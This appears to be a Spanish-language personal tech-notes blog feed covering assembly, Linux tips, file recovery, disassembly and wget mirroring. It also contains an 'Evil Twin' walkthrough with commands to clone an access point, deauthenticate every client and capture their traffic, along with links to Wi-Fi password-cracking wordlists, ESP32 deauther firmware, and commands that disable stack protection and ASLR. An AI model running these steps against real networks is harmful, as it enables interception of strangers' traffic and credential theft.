Pegá el texto con <code>Ctrl + a + ]</code></p>
-
Fasm y nasm
https://imlauera.github.io/fasm_nasm/
Tue, 28 Jan 2025 03:22:26 -0300
https://imlauera.github.io/fasm_nasm/
<p>Here is how registers look conceptually</p>
<p>· rax is the 64-bit, “long" size register. It was added in 2003 during the
transition to 64-bit processors.
· eax is the 32-bit, “int" size register. It was added in 1985 during the
transition to 32-bit processors with the 80386 CPU.
· ax is the 16-bit, “short" size register. It was added in 1979 with the 8086 CPU,
but is used in DOS or BIOS code to this day.
· al and ah are the 8-bit, “char" size registers. al is the low 8 bits, ah is the
high 8 bits. They’re pretty similar to the old 8-bit registers of the 8008 back
in 1972.</p>
-
Turn OFF screen TTY
https://imlauera.github.io/tty_turn_off/
Sun, 26 Jan 2025 11:48:57 -0300
https://imlauera.github.io/tty_turn_off/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>setterm -blank n
</span></span></code></pre></div><p>En donde n es la cantidad de minutos.</p>
-
Final práctica AC
https://imlauera.github.io/final_practica_ac/
Sun, 26 Jan 2025 10:03:59 -0300
https://imlauera.github.io/final_practica_ac/
<h3 id="audio-de-la-clase-en-vocaroo">Audio de la Clase en Vocaroo</h3>
<h3 id="audio-de-la-clase-en-youtube">Audio de la Clase en YouTube</h3>
<h3 id="audio-de-la-clase-en-archive">Audio de la Clase en Archive</h3>
<p><a href="https://archive.org/details/record-42">https://archive.org/details/record-42</a></p>
<h4 id="teoría-preguntas-hora-0145---014650">Teoría preguntas (Hora 01:45 - 01:46:50)</h4>
<ol>
<li>Cuales son las escalas que se utilizan de presión?</li>
<li>Ejercicio de balance térmico</li>
<li>Hallar línea, arranque y trabajo.</li>
<li>Describa una instalación de aire acondicionado.</li>
</ol>
<ul>
<li>Convenir con el cliente el precio: los materiales por un lado, la mano de obra por el otro, NO INCLUYE PRECIO DE INSTALACIÓN ELÉCTRICA.</li>
<li>Realizar el balance térmico y asesorar al cliente sobre la capacidad del equipo.</li>
<li>Ubicar el evaporador a lo largo de la habitación a 10 cm del techo y 20 cm de la pared lateral.</li>
<li>En la parte de atrás del evaporador encontraremos la chapa soporte.</li>
<li>Tomamos la medida del borde de la chapa y el centro de la salida de los caños.</li>
<li>Retiramos la chapa soporte y la colocamos a la mitad del lugar destinado a instalar el evaporador dejándola amurada a nivel.</li>
<li>Una vez colocada la chapa soporte se realiza la perforación por donde se pasará los caños y el cable de alimentación, junto con la manguera de desagote.</li>
<li>Procedemos a realizar la perforación pasando primero la mecha vidia de 6mm y de 30 a 40 cm. de largo.</li>
<li>Pasamos la mecha copa utilizando la perforación guía.</li>
<li>Conectamos el evaporador y condensador respetando el orden numérico y los colores</li>
<li>Envolvé los caños del evaporador con una cinta junto con los cables y manguera de desague pasándola por la perforación.</li>
<li>Se coloca la ménsula en la parte exterior.</li>
<li>R-22 mínimo 2 metros de caño. R-410 mínimo 3 metros.</li>
<li>Una vez colocado los caños se unen las unidades para realizar el vacío y liberar refrigerante.</li>
<li>Usar: agua con detergente para buscar pérdidas con el equipo apagado.</li>
</ul>
<ol start="5">
<li>Un equipo de tanto que capacitor lleva.</li>
<li>Si se congela el caño de alta, ¿qué pasa? Si se congela el caño de baja, ¿qué pasa?</li>
<li>Diferencias entre inverter y convencional, ¿cuáles son los beneficios que trae?</li>
</ol>
-
Diccionarios wifi
https://imlauera.github.io/diccionarios_wifi/
Fri, 24 Jan 2025 20:38:29 -0300
https://imlauera.github.io/diccionarios_wifi/
<p><a href="https://elhacker.info/wordlists/">https://elhacker.info/wordlists/</a><br>
<a href="https://weakpass.com">https://weakpass.com</a></p>
<p>O bajalo por torrent usando jackett y qtbittorent buscando wordlist</p>
<p><a href="https://www.wirelesshack.org/wpa-wpa2-word-list-dictionaries.html">https://www.wirelesshack.org/wpa-wpa2-word-list-dictionaries.html</a> para el que no
tiene una GPU muy potente el dic Rockyou.txt está muy bueno<br>
<a href="http://ns2.elhacker.net/wordlists/">http://ns2.elhacker.net/wordlists/</a><br>
<a href="https://www.dragonjar.org/diccionarios-para-realizar-ataques-de-fuerza-bruta.xhtml">https://www.dragonjar.org/diccionarios-para-realizar-ataques-de-fuerza-bruta.xhtml</a><br>
<a href="https://blog.segu-info.com.ar/2017/04/diccionario-de-5000-millones-de.html">https://blog.segu-info.com.ar/2017/04/diccionario-de-5000-millones-de.html</a><br>
<a href="http://pokoxemo.blogspot.com/2012/09/descarga-diccionarios-wpa-psk-y-wpa-por.html">http://pokoxemo.blogspot.com/2012/09/descarga-diccionarios-wpa-psk-y-wpa-por.html</a><br>
<a href="https://wiki.skullsecurity.org/Passwords">https://wiki.skullsecurity.org/Passwords</a><br>
<a href="https://www.muyseguridad.net/2011/02/28/">https://www.muyseguridad.net/2011/02/28/</a><br>
diccionarios-de-contrasenas-para-ataques-de-fuerza-bruta/<br>
<a href="https://github.com/berzerk0/Probable-Wordlists">https://github.com/berzerk0/Probable-Wordlists</a><br>
<a href="https://www.sniferl4bs.com/2013/04/diccionarios-para-redes-wifi.html">https://www.sniferl4bs.com/2013/04/diccionarios-para-redes-wifi.html</a></p>
-
Prevenir bufferoverflow scanf
https://imlauera.github.io/prevenir_bufferoverflow_scanf/
Fri, 24 Jan 2025 16:51:13 -0300
https://imlauera.github.io/prevenir_bufferoverflow_scanf/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">while</span> ( <span style="color:#a6e22e">scanf</span>(<span style="color:#e6db74">"%20s"</span>, buf) <span style="color:#f92672">==</span> <span style="color:#ae81ff">1</span> ){
</span></span></code></pre></div><hr>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">scanner</span>(<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>data, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>buffer, <span style="color:#66d9ef">size_t</span> buflen)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> format[<span style="color:#ae81ff">32</span>];
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (buflen <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">snprintf</span>(format, <span style="color:#66d9ef">sizeof</span>(format), <span style="color:#e6db74">"%%%ds"</span>, (<span style="color:#66d9ef">int</span>)(buflen<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>));
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">sscanf</span>(data, format, buffer);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="desactivar-la-protección-contra-buffer-overflow">Desactivar la protección contra buffer overflow:</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gcc letssee.c -o letssee -fno-stack-protector
</span></span></code></pre></div><h4 id="disable-aslr">Disable ASLR:</h4>
<p>sudo bash -c ’echo 0 > /proc/sys/kernel/randomize_va_space'</p>
-
Recuperar archivos borrados
https://imlauera.github.io/recuperar_archivos_borrados/
Wed, 22 Jan 2025 07:16:37 -0300
https://imlauera.github.io/recuperar_archivos_borrados/
<p>Podes usar testdisk, photorec y scalpel.</p>
<p>Si tenés una distro de Linux adicional instalada, o un USB live bootealo e instalá las herramientas mencionadas anteriormente.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo apt install -y testdisk
</span></span><span style="display:flex;"><span>pacman -S testdisk
</span></span></code></pre></div><p>Ahora ejecutamos <code>photorec</code></p>
<p>Ojo tenés que tener espacio en la partición para recuperar los archivos o vas a tener que ir eliminando a medida que los recupera.</p>
<p><a href="https://recoverit.wondershare.es/file-recovery/photorec-linux.html">https://recoverit.wondershare.es/file-recovery/photorec-linux.html</a></p>
<p><a href="https://archive.is/wip/lHLFe">https://archive.is/wip/lHLFe</a></p>
<h5 id="extundelete-quedó-obsoleto-me-tira-segmentation-fault-al-ejecutar"><strong>extundelete</strong> quedó <strong>obsoleto</strong> me tira segmentation fault al ejecutar</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>extundelete /dev/sda1 --restore-directory /home/usuario/carpeta_a_recuperar
</span></span></code></pre></div>
-
Reversing: Diferentes formas de desarmar un binario
https://imlauera.github.io/como_desamblar_un_binario/
Wed, 22 Jan 2025 06:15:44 -0300
https://imlauera.github.io/como_desamblar_un_binario/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>objdump -drwC -Mintel -d p
</span></span></code></pre></div><p>Podes fijar un alias en <code>.bashrc</code> o <code>.config/fish/config.fish</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>disas<span style="color:#f92672">=</span><span style="color:#e6db74">'objdump -drwC -Mintel'</span> <span style="color:#f92672">(</span>-w is no line-wrapping, -c is demangle, -r prints relocations in object files.<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Otras formas:</p>
<ol>
<li><code>llvm-objdump -drwC -Mintel</code></li>
<li><code>ndisasm</code></li>
<li></li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gdb -q ./a.out
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>disassemble main
</span></span><span style="display:flex;"><span>disassemble /m main
</span></span></code></pre></div><h5 id="agner-fogs-disassembler-objconv">Agner Fog’s disassembler: objconv</h5>
<h3 id="para-generar-archivo-asm-usando-sintaxis-intel-gcc-pc--c--s--masmintel">Para generar archivo ASM usando sintaxis intel: <code>gcc p.c -c -S -masm=intel</code></h3>
<p>Otras alternativas: IDA, Ghidra, radare.</p>
-
Evil Twin
https://imlauera.github.io/evil_twin/
Wed, 22 Jan 2025 05:59:08 -0300
https://imlauera.github.io/evil_twin/
<p>Environment: NIC with monitor mode capabilities</p>
<ol>
<li>Enable monitor mode in NIC</li>
</ol>
<ul>
<li>Take down the internet facing interface: ifconfic INTERFACE down</li>
<li>Enable monitor mode: iwconfig INTERFACE mode monitor</li>
<li>Kill all processes that might conflict with aircrack: <code>airmon-ng check INTERFACE</code>, kill PID</li>
</ul>
<ol start="2">
<li>Set up fake Access Point</li>
</ol>
<ul>
<li>Retrieve network parameters of WiFI access point: <code>airodump-ng INTERFACE</code></li>
<li>Create fake Access Point: <code>airbase-ng -a MAC --essid SSID -c CHANNEL INTERFACE</code></li>
<li>Setup internet redirection from evil access point to original access point:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span> brctl addbr EVIL
</span></span><span style="display:flex;"><span> brctl addif EVIL INTERFACE
</span></span><span style="display:flex;"><span> brctl addif EVIL at0
</span></span><span style="display:flex;"><span> ifconfig at0 0.0.0.0 up
</span></span><span style="display:flex;"><span> ifconfig EVIL up
</span></span><span style="display:flex;"><span> dhclient EVIL
</span></span></code></pre></div><ol start="3">
<li>Force every user to connect to Evil Access Point</li>
</ol>
<ul>
<li>Deauthenticate everyone connected to original Access Point: <code>aireplay-ng --deauth 0 -a MAC INTERFACE</code></li>
<li>USers will automastically attempt connectionto Evil Access Point</li>
</ul>
<ol start="4">
<li>Monitor traffic</li>
</ol>
<ul>
<li>Through Wireshark monitor EVIL interface</li>
</ul>
<p><a href="https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html">https://www.kalitutorials.net/2014/07/evil-twin-tutorial.html</a></p>
-
Install idf py en Arch
https://imlauera.github.io/install_idf_py_arch/
Wed, 22 Jan 2025 05:56:03 -0300
https://imlauera.github.io/install_idf_py_arch/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S esp-py
</span></span><span style="display:flex;"><span>/opt/esp-idf/install.sh
</span></span><span style="display:flex;"><span>/opt/esp-idf/install.fish
</span></span><span style="display:flex;"><span>. /opt/esp-idf/export.fish
</span></span><span style="display:flex;"><span>idf build
</span></span></code></pre></div><p>A partir de ahora cada vez que lo quieras usar tendrás que ejecutar . /opt/esp-idf/export.fish</p>
<p>Ejemplos
<a href="https://github.com/espressif/esp-idf/tree/v4.3/examples/get-started/hello_world">https://github.com/espressif/esp-idf/tree/v4.3/examples/get-started/hello_world</a></p>
<p>git clone <a href="https://github.com/espressif/esp-idf/">https://github.com/espressif/esp-idf/</a></p>
-
Mirar peliculas en la PS2
https://imlauera.github.io/mirar_peliculas_playstation2/
Wed, 22 Jan 2025 05:45:10 -0300
https://imlauera.github.io/mirar_peliculas_playstation2/
<p>La playstation reproduce mp4 como un audio, no tiene los codecs, así que hay que convertirlo a avi y no admite videos en 720p hay que bajar la resolución. Admite 360p,
creo que 480p también y 880x495. Más alto que eso no, salvo que tengas un gadget que hace que la salida sea HD.</p>
<p>Podés bajarte un canal de YouTube entero, luego juntarlos todos en un archivo y pasarlos a avi. Probé con un video de 900 megas y de 2 horas y funcionó.</p>
-
Como ejecutar líneas selecionadas en vim
https://imlauera.github.io/como_ejecutar_lineas_selecionadas_en_vim/
Wed, 22 Jan 2025 05:10:26 -0300
https://imlauera.github.io/como_ejecutar_lineas_selecionadas_en_vim/
<p>En VIM 8.0, podés selecionar un rango de líneas (Escape+Shift+v) y ejecutarlas con el comando <code>:terminal bash</code></p>
<p>También podes ejecutar código python, ruby y funciona bien.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>:terminal node, :terminal ruby, :terminal python
</span></span></code></pre></div>
-
Enviar simple GET request en C
https://imlauera.github.io/send_http_request_c/
Sat, 18 Jan 2025 08:41:44 -0300
https://imlauera.github.io/send_http_request_c/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdio.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><sys/socket.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><netinet/in.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><arpa/inet.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><stdlib.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><unistd.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e"><string.h></span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span>(<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>argv[]){
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (argc <span style="color:#f92672">!=</span> <span style="color:#ae81ff">2</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">"Usage: %s IP-Address</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>, argv[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> EXIT_FAILURE;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">struct</span> sockaddr_in server_address;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> s <span style="color:#f92672">=</span> <span style="color:#a6e22e">socket</span>(AF_INET, SOCK_STREAM, <span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (s <span style="color:#f92672"><</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr,<span style="color:#e6db74">"Error: socket.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> EXIT_FAILURE;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">memset</span>(<span style="color:#f92672">&</span>server_address, <span style="color:#e6db74">'0'</span>, <span style="color:#66d9ef">sizeof</span>(server_address));
</span></span><span style="display:flex;"><span> server_address.sin_family <span style="color:#f92672">=</span> AF_INET;
</span></span><span style="display:flex;"><span> server_address.sin_port <span style="color:#f92672">=</span> <span style="color:#a6e22e">htons</span>(<span style="color:#ae81ff">80</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">inet_pton</span>(AF_INET, argv[<span style="color:#ae81ff">1</span>], <span style="color:#f92672">&</span>server_address.sin_addr) <span style="color:#f92672"><=</span> <span style="color:#ae81ff">0</span>){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr,<span style="color:#e6db74">"Error: inet_pton.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> EXIT_FAILURE;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> ( <span style="color:#a6e22e">connect</span>(s, (<span style="color:#66d9ef">struct</span> sockaddr <span style="color:#f92672">*</span>)<span style="color:#f92672">&</span>server_address, <span style="color:#66d9ef">sizeof</span>(server_address)) <span style="color:#f92672"><</span> <span style="color:#ae81ff">0</span> ){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">fprintf</span>(stderr,<span style="color:#e6db74">"Error: Connect failed.</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> EXIT_FAILURE;
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> buffer[<span style="color:#ae81ff">18</span>] <span style="color:#f92672">=</span> <span style="color:#e6db74">"GET / HTTP/1.0</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">"</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">char</span> recv[<span style="color:#ae81ff">10000</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">send</span>(s, buffer, <span style="color:#66d9ef">sizeof</span>(buffer),MSG_EOR);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">int</span> n;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> ( (n <span style="color:#f92672">=</span> <span style="color:#a6e22e">read</span>(s, recv, <span style="color:#66d9ef">sizeof</span>(recv)<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>)) <span style="color:#f92672">></span> <span style="color:#ae81ff">0</span>)
</span></span><span style="display:flex;"><span> {
</span></span><span style="display:flex;"><span> recv[n] <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">fputs</span>(recv, stdout) <span style="color:#f92672">==</span> EOF){
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">"</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74"> Error: Fputs error</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">"</span>);
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span> }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Tremendo. <code>inet_pton</code> es una función que convierte direcciones IPv4 y IPv6 de texto a una forma binaria.
Lo más complicado fue saber que hay que castear server_address porque espera una estructura <code>sockaddr</code> no <code>sockaddr_in</code> sino no compila.</p>
-
Convertir docx a imágenes para leerlo desde la terminal. Convertir docx a texto.
https://imlauera.github.io/convertir_docx_a_imagenes/
Thu, 16 Jan 2025 06:57:22 -0300
https://imlauera.github.io/convertir_docx_a_imagenes/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pandoc --extract-media . input.docx -o output.html
</span></span><span style="display:flex;"><span>w3m output.html
</span></span></code></pre></div><h5 id="convertir-docx-a-txt">Convertir docx a txt</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>pandoc -s electricidad33.docx -t plain -o output.txt
</span></span></code></pre></div>
-
Multiple choice reversing: ricardo narvaja
https://imlauera.github.io/multiple_choice_reversing/
Mon, 13 Jan 2025 21:22:41 -0300
https://imlauera.github.io/multiple_choice_reversing/
<p>Del siguiente curso: <a href="http://ricardonarvaja.info/WEB/EXPLOITING%20Y%20REVERSING%20USANDO%20HERRAMIENTAS%20FREE/">http://ricardonarvaja.info/WEB/EXPLOITING%20Y%20REVERSING%20USANDO%20HERRAMIENTAS%20FREE/</a></p>
-
Wget y httrack para descargar recursivamente
https://imlauera.github.io/post/wget_descargar_recursivamente/
Mon, 13 Jan 2025 05:41:07 -0300
https://imlauera.github.io/post/wget_descargar_recursivamente/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget --recursive --no-parent http://example.com/configs/.vim/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>wget -e robots<span style="color:#f92672">=</span>off --user-agent<span style="color:#f92672">=</span><span style="color:#e6db74">"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.37"</span> --mirror --convert-links --adjust-extension --page-requisites --no-parent --recursive --level<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span> --span-hosts --domains<span style="color:#f92672">=</span>harmful.cat-v.org http://harmful.cat-v.org/
</span></span></code></pre></div><p>Para evitar que se descargue el <code>index.html</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget -r -np -R <span style="color:#e6db74">"index.html*"</span> http://example.com/configs/.vim/
</span></span></code></pre></div><p>Descargar todos los archivos de un <code>index of /</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget -e robots<span style="color:#f92672">=</span>off -r -np -R <span style="color:#e6db74">"index.html*"</span> <span style="color:#e6db74">"http://ricardonarvaja.info/WEB/EXPLOITING%20Y%20REVERSING%20USANDO%20HERRAMIENTAS%20FREE/ESPANIOL/"</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget -r -l1 -np -nH --cut-dirs<span style="color:#f92672">=</span><span style="color:#ae81ff">2</span> -A mp3 -R <span style="color:#e6db74">"index.html*"</span> -e robots<span style="color:#f92672">=</span>off -c URL
</span></span></code></pre></div><h4 id="descargar-sin-imágenes">Descargar sin imágenes</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wget --reject jpg,jpeg,png,gif,svg,webp,ico -r
</span></span></code></pre></div><h5 id="para-descargar-sitios-con-protocolo-gopher-tenes-que-usar-httrack-porque-wget-no-soporta-gopher">Para descargar sitios con protocolo gopher tenes que usar httrack porque wget no soporta gopher.</h5>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>httrack gophers://bitreich.org/ -O ./bitreich.org -r <span style="color:#ae81ff">5</span> -A -K
</span></span></code></pre></div>
-
Evil twin ESP32
https://imlauera.github.io/evil_twin_esp32/
Sun, 12 Jan 2025 08:31:41 -0300
https://imlauera.github.io/evil_twin_esp32/
<p><a href="https://github.com/y0xhz/ESP32-EvilTwin/blob/master/Evil-Twin%20and%20Deauther%20esp32.ino">https://github.com/y0xhz/ESP32-EvilTwin/blob/master/Evil-Twin%20and%20Deauther%20esp32.ino</a></p>
<p><a href="https://github.com/aadesh0706/IOT-ESP32-Evil-Twin-WiFi-Hacking-Deauthentication-Captive-Portal/blob/main/NetworkDeAuth.ino">https://github.com/aadesh0706/IOT-ESP32-Evil-Twin-WiFi-Hacking-Deauthentication-Captive-Portal/blob/main/NetworkDeAuth.ino</a></p>
<p><a href="https://github.com/risinek/esp32-wifi-penetration-tool">https://github.com/risinek/esp32-wifi-penetration-tool</a></p>
<p><a href="https://www.youtube.com/watch?v=uYTu98j_STY&t=37s">https://www.youtube.com/watch?v=uYTu98j_STY&t=37s</a></p>
<p>Binarios del ESP32 WiFi Penetration Tool:</p>
<p><a href="https://github.com/risinek/esp32-wifi-penetration-tool/releases">https://github.com/risinek/esp32-wifi-penetration-tool/releases</a></p>
<p>Herramienta que se usa para flashear el binario:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>esptool.py -p /dev/ttyS5 -b <span style="color:#ae81ff">115200</span> --after hard_reset write_flash --flash_mode dio --flash_freq 40m --flash_size detect 0x8000 build/partition_table/partition-table.bin 0x1000 build/bootloader/bootloader.bin 0x10000 build/esp32-wifi-penetration-tool.bin
</span></span></code></pre></div><p><a href="https://github.com/espressif/esptool">https://github.com/espressif/esptool</a></p>
-
Bajar playlist youtube con subtitulo y pasarlo a texto
https://imlauera.github.io/subtitulo_a_texto/
Sat, 11 Jan 2025 05:27:44 -0300
https://imlauera.github.io/subtitulo_a_texto/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yt-dlp --ignore-config --write-auto-sub --write-sub --sub-lang es -i <span style="color:#e6db74">"ID_PLAYLIST"</span> -o <span style="color:#e6db74">"%(autonumber)s%(id)s.%(ext)s"</span>
</span></span></code></pre></div><p>Pasar subtítulos de YouTube a texto plano.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>awk <span style="color:#e6db74">'FNR<=4 || ($0 ~ /^$|-->|\[|\]|</){next} !a[$0]++'</span> Input_file
